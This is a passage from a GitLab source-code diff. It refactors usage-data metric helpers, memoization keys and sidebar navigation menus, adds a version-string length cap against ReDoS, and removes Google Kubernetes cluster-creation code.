+ path = Rails.root.join('config/security/banned_ssh_keys.yml')
+ config = YAML.load_file(path) if File.exist?(path)
+
+ config || {}
+ end
+ strong_memoize_attr :banned_ssh_keys
+
def technology
@technology ||=
self.class.technology_for_key(key) || raise_unsupported_key_type_error
diff --git a/lib/gitlab/usage/metrics/aggregates/aggregate.rb b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
index 8d816c8d902..b68e1ace658 100644
--- a/lib/gitlab/usage/metrics/aggregates/aggregate.rb
+++ b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
@@ -7,6 +7,11 @@ module Gitlab
class Aggregate
include Gitlab::Usage::TimeFrame
+ # TODO: define this missing event https://gitlab.com/gitlab-org/gitlab/-/issues/385080
+ EVENTS_NOT_DEFINED_YET = %w[
+ i_code_review_merge_request_widget_license_compliance_warning
+ ].freeze
+
def initialize(recorded_at)
@recorded_at = recorded_at
end
@@ -14,11 +19,12 @@ module Gitlab
def calculate_count_for_aggregation(aggregation:, time_frame:)
with_validate_configuration(aggregation, time_frame) do
source = SOURCES[aggregation[:source]]
+ events = select_defined_events(aggregation[:events], aggregation[:source])
if aggregation[:operator] == UNION_OF_AGGREGATED_METRICS
- source.calculate_metrics_union(**time_constraints(time_frame).merge(metric_names: aggregation[:events], recorded_at: recorded_at))
+ source.calculate_metrics_union(**time_constraints(time_frame).merge(metric_names: events, recorded_at: recorded_at))
else
- source.calculate_metrics_intersections(**time_constraints(time_frame).merge(metric_names: aggregation[:events], recorded_at: recorded_at))
+ source.calculate_metrics_intersections(**time_constraints(time_frame).merge(metric_names: events, recorded_at: recorded_at))
end
end
rescue Gitlab::UsageDataCounters::HLLRedisCounter::EventError, AggregatedMetricError => error
@@ -71,6 +77,16 @@ module Gitlab
{ start_date: nil, end_date: nil }
end
end
+
+ def select_defined_events(events, source)
+ # Database source metrics get validated inside the PostgresHll class:
+ # https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb#L16
+ return events if source != ::Gitlab::Usage::Metrics::Aggregates::REDIS_SOURCE
+
+ events.select do |event|
+ ::Gitlab::UsageDataCounters::HLLRedisCounter.known_event?(event) || EVENTS_NOT_DEFINED_YET.include?(event)
+ end
+ end
end
end
end
diff --git a/lib/gitlab/usage/metrics/instrumentations/base_metric.rb b/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
index 55da2315e45..0c102f0f386 100644
--- a/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/base_metric.rb
@@ -15,7 +15,7 @@ module Gitlab
def available?(&block)
return @metric_available = block if block
- return @metric_available.call if instance_variable_defined?('@metric_available')
+ return @metric_available.call if instance_variable_defined?(:@metric_available)
true
end
diff --git a/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator.rb b/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator.rb
new file mode 100644
index 00000000000..db313bc1fbe
--- /dev/null
+++ b/lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module ServicePing
+ class LegacyMetricMetadataDecorator < SimpleDelegator
+ attr_reader :duration, :error
+
+ delegate :class, :is_a?, :kind_of?, :nil?, to: :__getobj__
+
+ def initialize(value, duration, error: nil)
+ @duration = duration
+ @error = error
+ super(value)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator.rb b/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator.rb
deleted file mode 100644
index e32dcd3777b..00000000000
--- a/lib/gitlab/usage/service_ping/legacy_metric_timing_decorator.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Usage
- module ServicePing
- class LegacyMetricTimingDecorator < SimpleDelegator
- attr_reader :duration
-
- delegate :class, :is_a?, :kind_of?, to: :__getobj__
-
- def initialize(value, duration)
- @duration = duration
- super(value)
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 24f6cc725f6..c105288fff0 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -344,6 +344,11 @@ module Gitlab
def jira_usage
# Jira Cloud does not support custom domains as per https://jira.atlassian.com/browse/CLOUD-6999
# so we can just check for subdomains of atlassian.net
+ jira_integration_data_hash = jira_integration_data
+ if jira_integration_data_hash.nil?
+ return { projects_jira_server_active: FALLBACK, projects_jira_cloud_active: FALLBACK }
+ end
+
results = {
projects_jira_server_active: 0,
projects_jira_cloud_active: 0,
@@ -351,14 +356,10 @@ module Gitlab
projects_jira_dvcs_server_active: count(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false))
}
- jira_integration_data_hash = jira_integration_data
results[:projects_jira_server_active] = jira_integration_data_hash[:projects_jira_server_active]
results[:projects_jira_cloud_active] = jira_integration_data_hash[:projects_jira_cloud_active]
results
- rescue ActiveRecord::StatementInvalid => error
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
- { projects_jira_server_active: FALLBACK, projects_jira_cloud_active: FALLBACK }
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -602,13 +603,18 @@ module Gitlab
}
end
- def with_duration
+ def with_metadata
result = nil
+ error = nil
+
duration = Benchmark.realtime do
result = yield
+ rescue StandardError => e
+ error = e
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
end
- ::Gitlab::Usage::ServicePing::LegacyMetricTimingDecorator.new(result, duration)
+ ::Gitlab::Usage::ServicePing::LegacyMetricMetadataDecorator.new(result, duration, error: error)
end
private
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index 4486ca53966..0d15475eebb 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -5,7 +5,7 @@ module Gitlab
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41091
class UsageDataQueries < UsageData
class << self
- def with_duration
+ def with_metadata
yield
end
diff --git a/lib/gitlab/utils/strong_memoize.rb b/lib/gitlab/utils/strong_memoize.rb
index 7e78363dae5..eb44b7ddd95 100644
--- a/lib/gitlab/utils/strong_memoize.rb
+++ b/lib/gitlab/utils/strong_memoize.rb
@@ -23,7 +23,7 @@ module Gitlab
# def enabled?
# Feature.enabled?(:some_feature)
# end
- # strong_memoize_attr :enabled?, :enabled
+ # strong_memoize_attr :enabled?
#
def strong_memoize(name)
key = ivar(name)
@@ -46,20 +46,20 @@ module Gitlab
end
def strong_memoized?(name)
- instance_variable_defined?(ivar(name))
+ key = ivar(StrongMemoize.normalize_key(name))
+ instance_variable_defined?(key)
end
def clear_memoization(name)
- key = ivar(name)
+ key = ivar(StrongMemoize.normalize_key(name))
remove_instance_variable(key) if instance_variable_defined?(key)
end
module StrongMemoizeClassMethods
- def strong_memoize_attr(method_name, member_name = nil)
- member_name ||= method_name
+ def strong_memoize_attr(method_name)
+ member_name = StrongMemoize.normalize_key(method_name)
- StrongMemoize.send( # rubocop:disable GitlabSecurity/PublicSend
- :do_strong_memoize, self, method_name, member_name)
+ StrongMemoize.send(:do_strong_memoize, self, method_name, member_name) # rubocop:disable GitlabSecurity/PublicSend
end
end
@@ -83,7 +83,14 @@ module Gitlab
end
end
- class <<self
+ class << self
+ def normalize_key(key)
+ return key unless key.end_with?('!', '?')
+
+ # Replace invalid chars like `!` and `?` with allowed Unicode codeparts.
+ key.to_s.tr('!?', "\uFF01\uFF1F")
+ end
+
private
def do_strong_memoize(klass, method_name, member_name)
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 0b818b99ac7..fab8617bcda 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -44,7 +44,7 @@ module Gitlab
DISTRIBUTED_HLL_FALLBACK = -2
MAX_BUCKET_SIZE = 100
- def with_duration
+ def with_metadata
yield
end
@@ -55,7 +55,7 @@ module Gitlab
end
def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil, start_at: Time.current)
- with_duration do
+ with_metadata do
if batch
Gitlab::Database::BatchCount.batch_count(relation, column, batch_size: batch_size, start: start, finish: finish)
else
@@ -68,7 +68,7 @@ module Gitlab
end
def distinct_count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
- with_duration do
+ with_metadata do
if batch
Gitlab::Database::BatchCount.batch_distinct_count(relation, column, batch_size: batch_size, start: start, finish: finish)
else
@@ -81,7 +81,7 @@ module Gitlab
end
def estimate_batch_distinct_count(relation, column = nil, batch_size: nil, start: nil, finish: nil)
- with_duration do
+ with_metadata do
buckets = Gitlab::Database::PostgresHll::BatchDistinctCounter
.new(relation, column)
.execute(batch_size: batch_size, start: start, finish: finish)
@@ -96,7 +96,7 @@ module Gitlab
end
def sum(relation, column, batch_size: nil, start: nil, finish: nil)
- with_duration do
+ with_metadata do
Gitlab::Database::BatchCount.batch_sum(relation, column, batch_size: batch_size, start: start, finish: finish)
rescue ActiveRecord::StatementInvalid => error
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
@@ -105,7 +105,7 @@ module Gitlab
end
def average(relation, column, batch_size: nil, start: nil, finish: nil)
- with_duration do
+ with_metadata do
Gitlab::Database::BatchCount.batch_average(relation, column, batch_size: batch_size, start: start, finish: finish)
rescue ActiveRecord::StatementInvalid => error
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
@@ -119,7 +119,7 @@ module Gitlab
#
# rubocop: disable CodeReuse/ActiveRecord
def histogram(relation, column, buckets:, bucket_size: buckets.size)
- with_duration do
+ with_metadata do
# Using lambda to avoid exposing histogram specific methods
parameters_valid = lambda do
error_message =
@@ -184,7 +184,7 @@ module Gitlab
# rubocop: enable CodeReuse/ActiveRecord
def add(*args)
- with_duration do
+ with_metadata do
break -1 if args.any?(&:negative?)
args.sum
@@ -195,7 +195,7 @@ module Gitlab
end
def alt_usage_data(value = nil, fallback: FALLBACK, &block)
- with_duration do
+ with_metadata do
if block
yield
else
@@ -208,7 +208,7 @@ module Gitlab
end
def redis_usage_data(counter = nil, &block)
- with_duration do
+ with_metadata do
if block
redis_usage_counter(&block)
elsif counter.present?
@@ -218,7 +218,7 @@ module Gitlab
end
def with_prometheus_client(fallback: {}, verify: true)
- with_duration do
+ with_metadata do
client = prometheus_client(verify: verify)
break fallback unless client
@@ -257,7 +257,7 @@ module Gitlab
# rubocop: disable UsageData/LargeTable:
def jira_integration_data
- with_duration do
+ with_metadata do
data = {
projects_jira_server_active: 0,
projects_jira_cloud_active: 0
diff --git a/lib/gitlab/version_info.rb b/lib/gitlab/version_info.rb
index 61de003c28d..0351c9b30b3 100644
--- a/lib/gitlab/version_info.rb
+++ b/lib/gitlab/version_info.rb
@@ -7,11 +7,14 @@ module Gitlab
attr_reader :major, :minor, :patch
VERSION_REGEX = /(\d+)\.(\d+)\.(\d+)/.freeze
+ # To mitigate ReDoS, limit the length of the version string we're
+ # willing to check
+ MAX_VERSION_LENGTH = 128
def self.parse(str, parse_suffix: false)
if str.is_a?(self)
str
- elsif str && m = str.match(VERSION_REGEX)
+ elsif str && str.length <= MAX_VERSION_LENGTH && m = str.match(VERSION_REGEX)
VersionInfo.new(m[1].to_i, m[2].to_i, m[3].to_i, parse_suffix ? m.post_match : nil)
else
VersionInfo.new
diff --git a/lib/google_api/cloud_platform/client.rb b/lib/google_api/cloud_platform/client.rb
index e37bd1f7606..5eef4fd0e4e 100644
--- a/lib/google_api/cloud_platform/client.rb
+++ b/lib/google_api/cloud_platform/client.rb
@@ -15,13 +15,6 @@ module GoogleApi
class Client < GoogleApi::Auth
SCOPE = 'https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/service.management'
LEAST_TOKEN_LIFE_TIME = 10.minutes
- CLUSTER_MASTER_AUTH_USERNAME = 'admin'
- CLUSTER_IPV4_CIDR_BLOCK = '/16'
- CLUSTER_OAUTH_SCOPES = [
- "https://www.googleapis.com/auth/devstorage.read_only",
- "https://www.googleapis.com/auth/logging.write",
- "https://www.googleapis.com/auth/monitoring"
- ].freeze
ROLES_LIST = %w[roles/iam.serviceAccountUser roles/artifactregistry.admin roles/cloudbuild.builds.builder roles/run.admin roles/storage.admin roles/cloudsql.client roles/browser].freeze
REVOKE_URL = 'https://oauth2.googleapis.com/revoke'
@@ -59,36 +52,6 @@ module GoogleApi
true
end
- def projects_zones_clusters_get(project_id, zone, cluster_id)
- service = Google::Apis::ContainerV1::ContainerService.new
- service.authorization = access_token
-
- service.get_zone_cluster(project_id, zone, cluster_id, options: user_agent_header)
- end
-
- def projects_zones_clusters_create(project_id, zone, cluster_name, cluster_size, machine_type:, legacy_abac:, enable_addons: [])
- service = Google::Apis::ContainerV1beta1::ContainerService.new
- service.authorization = access_token
-
- cluster_options = make_cluster_options(cluster_name, cluster_size, machine_type, legacy_abac, enable_addons)
-
- request_body = Google::Apis::ContainerV1beta1::CreateClusterRequest.new(**cluster_options)
-
- service.create_cluster(project_id, zone, request_body, options: user_agent_header)
- end
-
- def projects_zones_operations(project_id, zone, operation_id)
- service = Google::Apis::ContainerV1::ContainerService.new
- service.authorization = access_token
-
- service.get_zone_operation(project_id, zone, operation_id, options: user_agent_header)
- end
-
- def parse_operation_id(self_link)
- m = self_link.match(%r{projects/.*/zones/.*/operations/(.*)})
- m[1] if m
- end
-
def list_projects
result = []
@@ -210,38 +173,6 @@ module GoogleApi
service.enable_service(name)
end
- def make_cluster_options(cluster_name, cluster_size, machine_type, legacy_abac, enable_addons)
- {
- cluster: {
- name: cluster_name,
- initial_node_count: cluster_size,
- node_config: {
- machine_type: machine_type,
- oauth_scopes: CLUSTER_OAUTH_SCOPES
- },
- master_auth: {
- client_certificate_config: {
- issue_client_certificate: true
- }
- },
- legacy_abac: {
- enabled: legacy_abac
- },
- ip_allocation_policy: {
- use_ip_aliases: true,
- cluster_ipv4_cidr_block: CLUSTER_IPV4_CIDR_BLOCK
- },
- addons_config: make_addons_config(enable_addons)
- }
- }
- end
-
- def make_addons_config(enable_addons)
- enable_addons.index_with do |addon|
- { disabled: false }
- end
- end
-
def token_life_time(expires_at)
DateTime.strptime(expires_at, '%s').to_time.utc - Time.now.utc
end
diff --git a/lib/object_storage/direct_upload.rb b/lib/object_storage/direct_upload.rb
index 9449e51b053..7d2f825e119 100644
--- a/lib/object_storage/direct_upload.rb
+++ b/lib/object_storage/direct_upload.rb
@@ -44,6 +44,7 @@ module ObjectStorage
GetURL: get_url,
StoreURL: store_url,
DeleteURL: delete_url,
+ SkipDelete: false,
MultipartUpload: multipart_upload_hash,
CustomPutHeaders: true,
PutHeaders: upload_options
diff --git a/lib/sidebars/groups/menus/observability_menu.rb b/lib/sidebars/groups/menus/observability_menu.rb
index 656142375af..d85efb1a002 100644
--- a/lib/sidebars/groups/menus/observability_menu.rb
+++ b/lib/sidebars/groups/menus/observability_menu.rb
@@ -6,9 +6,8 @@ module Sidebars
class ObservabilityMenu < ::Sidebars::Menu
override :configure_menu_items
def configure_menu_items
- add_item(dashboards_menu_item)
add_item(explore_menu_item)
- add_item(manage_menu_item)
+ add_item(datasources_menu_item)
end
override :title
@@ -23,14 +22,14 @@ module Sidebars
override :render?
def render?
- can?(context.current_user, :read_observability, context.group)
+ Gitlab::Observability.observability_enabled?(context.current_user, context.group)
end
private
def dashboards_menu_item
::Sidebars::MenuItem.new(
- title: _('Dashboards'),
+ title: s_('Observability|Dashboards'),
link: group_observability_dashboards_path(context.group),
active_routes: { path: 'groups/observability#dashboards' },
item_id: :dashboards
@@ -39,16 +38,25 @@ module Sidebars
def explore_menu_item
::Sidebars::MenuItem.new(
- title: _('Explore'),
+ title: s_('Observability|Explore telemetry data'),
link: group_observability_explore_path(context.group),
active_routes: { path: 'groups/observability#explore' },
item_id: :explore
)
end
+ def datasources_menu_item
+ ::Sidebars::MenuItem.new(
+ title: s_('Observability|Data sources'),
+ link: group_observability_datasources_path(context.group),
+ active_routes: { path: 'groups/observability#datasources' },
+ item_id: :datasources
+ )
+ end
+
def manage_menu_item
::Sidebars::MenuItem.new(
- title: _('Manage Dashboards'),
+ title: s_('Observability|Manage dashboards'),
link: group_observability_manage_path(context.group),
active_routes: { path: 'groups/observability#manage' },
item_id: :manage
diff --git a/lib/sidebars/groups/menus/settings_menu.rb b/lib/sidebars/groups/menus/settings_menu.rb
index ede195a8e59..5b81f22c796 100644
--- a/lib/sidebars/groups/menus/settings_menu.rb
+++ b/lib/sidebars/groups/menus/settings_menu.rb
@@ -15,6 +15,7 @@ module Sidebars
add_item(ci_cd_menu_item)
add_item(applications_menu_item)
add_item(packages_and_registries_menu_item)
+ add_item(usage_quotas_menu_item)
return true
elsif Gitlab.ee? && can?(context.current_user, :change_push_rules, context.group)
# Push Rules are the only group setting that can also be edited by maintainers.
@@ -115,6 +116,22 @@ module Sidebars
)
end
+ def usage_quotas_menu_item
+ return ::Sidebars::NilMenuItem.new(item_id: :usage_quotas) unless usage_quotas_menu_enabled?
+
+ ::Sidebars::MenuItem.new(
+ title: s_('UsageQuota|Usage Quotas'),
+ link: group_usage_quotas_path(context.group),
+ active_routes: { path: 'usage_quotas#index' },
+ item_id: :usage_quotas
+ )
+ end
+
+ # overriden in ee/lib/ee/sidebars/groups/menus/settings_menu.rb
+ def usage_quotas_menu_enabled?
+ context.group.usage_quotas_enabled?
+ end
+
def packages_and_registries_menu_item
unless context.group.packages_feature_enabled?
return ::Sidebars::NilMenuItem.new(item_id: :packages_and_registries)
diff --git a/lib/sidebars/projects/menus/deployments_menu.rb b/lib/sidebars/projects/menus/deployments_menu.rb
index 5f789748288..4d4e65e9795 100644
--- a/lib/sidebars/projects/menus/deployments_menu.rb
+++ b/lib/sidebars/projects/menus/deployments_menu.rb
@@ -10,6 +10,10 @@ module Sidebars
add_item(feature_flags_menu_item)
add_item(releases_menu_item)
+ if Feature.enabled?(:show_pages_in_deployments_menu, context.current_user, type: :experiment)
+ add_item(pages_menu_item)
+ end
+
true
end
@@ -74,6 +78,19 @@ module Sidebars
container_html_options: { class: 'shortcuts-deployments-releases' }
)
end
+
+ def pages_menu_item
+ unless context.project.pages_available? && context.current_user&.can?(:update_pages, context.project)
+ return ::Sidebars::NilMenuItem.new(item_id: :pages)
+ end
+
+ ::Sidebars::MenuItem.new(
+ title: _('Pages'),
+ link: project_pages_path(context.project),
+ active_routes: { path: 'pages#show' },
+ item_id: :pages
+ )
+ end
end
end
end
diff --git a/lib/sidebars/projects/menus/settings_menu.rb b/lib/sidebars/projects/menus/settings_menu.rb
index 11d5f4d59c7..eea32d8b626 100644
--- a/lib/sidebars/projects/menus/settings_menu.rb
+++ b/lib/sidebars/projects/menus/settings_menu.rb
@@ -16,7 +16,11 @@ module Sidebars
add_item(merge_requests_menu_item)
add_item(ci_cd_menu_item)
add_item(packages_and_registries_menu_item)
- add_item(pages_menu_item)
+
+ if Feature.disabled?(:show_pages_in_deployments_menu, context.current_user, type: :experiment)
+ add_item(pages_menu_item)
+ end
+
add_item(monitor_menu_item)
add_item(usage_quotas_menu_item)
diff --git a/lib/sidebars/your_work/menus/activity_menu.rb b/lib/sidebars/your_work/menus/activity_menu.rb
new file mode 100644
index 00000000000..d39c9bfda9c
--- /dev/null
+++ b/lib/sidebars/your_work/menus/activity_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class ActivityMenu < ::Sidebars::Menu
+ override :link
+ def link
+ activity_dashboard_path
+ end
+
+ override :title
+ def title
+ _('Activity')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'history'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'dashboard#activity' }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/groups_menu.rb b/lib/sidebars/your_work/menus/groups_menu.rb
new file mode 100644
index 00000000000..fd50b9b4b50
--- /dev/null
+++ b/lib/sidebars/your_work/menus/groups_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class GroupsMenu < ::Sidebars::Menu
+ override :link
+ def link
+ dashboard_groups_path
+ end
+
+ override :title
+ def title
+ _('Groups')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'group'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: ['groups', 'dashboard/groups'] }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/issues_menu.rb b/lib/sidebars/your_work/menus/issues_menu.rb
new file mode 100644
index 00000000000..6046b78e54e
--- /dev/null
+++ b/lib/sidebars/your_work/menus/issues_menu.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class IssuesMenu < ::Sidebars::Menu
+ include Gitlab::Utils::StrongMemoize
+
+ override :link
+ def link
+ issues_dashboard_path(assignee_username: @context.current_user.username)
+ end
+
+ override :title
+ def title
+ _('Issues')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'issues'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'dashboard#issues' }
+ end
+
+ override :has_pill?
+ def has_pill?
+ pill_count > 0
+ end
+
+ override :pill_count
+ def pill_count
+ context.current_user.assigned_open_issues_count
+ end
+ strong_memoize_attr :pill_count
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/merge_requests_menu.rb b/lib/sidebars/your_work/menus/merge_requests_menu.rb
new file mode 100644
index 00000000000..695c2ffdf46
--- /dev/null
+++ b/lib/sidebars/your_work/menus/merge_requests_menu.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class MergeRequestsMenu < ::Sidebars::Menu
+ include Gitlab::Utils::StrongMemoize
+
+ override :link
+ def link
+ merge_requests_dashboard_path(assignee_username: @context.current_user.username)
+ end
+
+ override :title
+ def title
+ _('Merge requests')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'merge-request'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'dashboard#merge_requests' }
+ end
+
+ override :has_pill?
+ def has_pill?
+ pill_count > 0
+ end
+
+ override :pill_count
+ def pill_count
+ context.current_user.assigned_open_merge_requests_count
+ end
+ strong_memoize_attr :pill_count
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/milestones_menu.rb b/lib/sidebars/your_work/menus/milestones_menu.rb
new file mode 100644
index 00000000000..9b643afeec5
--- /dev/null
+++ b/lib/sidebars/your_work/menus/milestones_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class MilestonesMenu < ::Sidebars::Menu
+ override :link
+ def link
+ dashboard_milestones_path
+ end
+
+ override :title
+ def title
+ _('Milestones')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'clock'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: 'dashboard/milestones' }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/projects_menu.rb b/lib/sidebars/your_work/menus/projects_menu.rb
new file mode 100644
index 00000000000..e8b2a1d7869
--- /dev/null
+++ b/lib/sidebars/your_work/menus/projects_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class ProjectsMenu < ::Sidebars::Menu
+ override :link
+ def link
+ dashboard_projects_path
+ end
+
+ override :title
+ def title
+ _('Projects')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'project'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: ['root', 'projects', 'dashboard/projects'] }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/snippets_menu.rb b/lib/sidebars/your_work/menus/snippets_menu.rb
new file mode 100644
index 00000000000..c7c591f03cd
--- /dev/null
+++ b/lib/sidebars/your_work/menus/snippets_menu.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class SnippetsMenu < ::Sidebars::Menu
+ override :link
+ def link
+ dashboard_snippets_path
+ end
+
+ override :title
+ def title
+ _('Snippets')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'snippet'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: :snippets }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/menus/todos_menu.rb b/lib/sidebars/your_work/menus/todos_menu.rb
new file mode 100644
index 00000000000..d37ffadb579
--- /dev/null
+++ b/lib/sidebars/your_work/menus/todos_menu.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ module Menus
+ class TodosMenu < ::Sidebars::Menu
+ include Gitlab::Utils::StrongMemoize
+
+ override :link
+ def link
+ dashboard_todos_path
+ end
+
+ override :title
+ def title
+ _('To-Do List')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'todo-done'
+ end
+
+ override :render?
+ def render?
+ !!context.current_user
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'dashboard/todos#index' }
+ end
+
+ override :has_pill?
+ def has_pill?
+ pill_count > 0
+ end
+
+ override :pill_count
+ def pill_count
+ context.current_user.todos_pending_count
+ end
+ strong_memoize_attr :pill_count
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/your_work/panel.rb b/lib/sidebars/your_work/panel.rb
new file mode 100644
index 00000000000..215a2a2da09
--- /dev/null
+++ b/lib/sidebars/your_work/panel.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module YourWork
+ class Panel < ::Sidebars::Panel
+ override :configure_menus
+ def configure_menus
+ add_menus
+ end
+
+ override :aria_label
+ def aria_label
+ _('Your work')
+ end
+
+ override :render_raw_scope_menu_partial
+ def render_raw_scope_menu_partial
+ "shared/nav/your_work_scope_header"
+ end
+
+ private
+
+ def add_menus
+ add_menu(Sidebars::YourWork::Menus::ProjectsMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::GroupsMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::IssuesMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::MergeRequestsMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::TodosMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::MilestonesMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::SnippetsMenu.new(context))
+ add_menu(Sidebars::YourWork::Menus::ActivityMenu.new(context))
+ end
+ end
+ end
+end
diff --git a/lib/system_check/ldap_check.rb b/lib/system_check/ldap_check.rb
index 3d71edbc256..62f803a60fc 100644
--- a/lib/system_check/ldap_check.rb
+++ b/lib/system_check/ldap_check.rb
@@ -42,7 +42,7 @@ module SystemCheck
end
end
end
- rescue Net::LDAP::ConnectionRefusedError, Errno::ECONNREFUSED => e
+ rescue Errno::ECONNREFUSED => e
$stdout.puts "Could not connect to the LDAP server: #{e.message}".color(:red)
end
end
diff --git a/lib/tasks/contracts/merge_requests.rake b/lib/tasks/contracts/merge_requests.rake
index 61823f0cf1a..5a6186d393d 100644
--- a/lib/tasks/contracts/merge_requests.rake
+++ b/lib/tasks/contracts/merge_requests.rake
@@ -14,15 +14,16 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/merge_requests/show/get_diffs_batch_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
Pact::VerificationTask.new(:get_diffs_metadata) do |pact|
pact_helper_location = "pact_helpers/project/merge_requests/show/get_diffs_metadata_helper.rb"
+
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
@@ -31,14 +32,14 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/merge_requests/show/get_discussions_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ Provider::ContractSourceHelper.contract_location(requester: :rake, file_path: pact_helper_location),
pact_helper: "#{provider}/#{pact_helper_location}"
)
end
desc 'Run all merge request contract tests'
task 'test:merge_requests', :contract_merge_requests do |_t, arg|
- errors = %w[diffs_batch diffs_metadata discussions].each_with_object([]) do |task, err|
+ errors = %w[get_diffs_batch get_diffs_metadata get_discussions].each_with_object([]) do |task, err|
Rake::Task["contracts:merge_requests:pact:verify:#{task}"].execute
rescue StandardError, SystemExit
err << "contracts:merge_requests:pact:verify:#{task}"
diff --git a/lib/tasks/contracts/pipeline_schedules.rake b/lib/tasks/contracts/pipeline_schedules.rake
index b4c87d2e3c9..f3e65b94940 100644
--- a/lib/tasks/contracts/pipeline_schedules.rake
+++ b/lib/tasks/contracts/pipeline_schedules.rake
@@ -14,7 +14,7 @@ namespace :contracts do
pact_helper_location = "pact_helpers/project/pipeline_schedules/edit/put_edit_a_pipeline_schedule_helper.rb"
pact.uri(
- Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
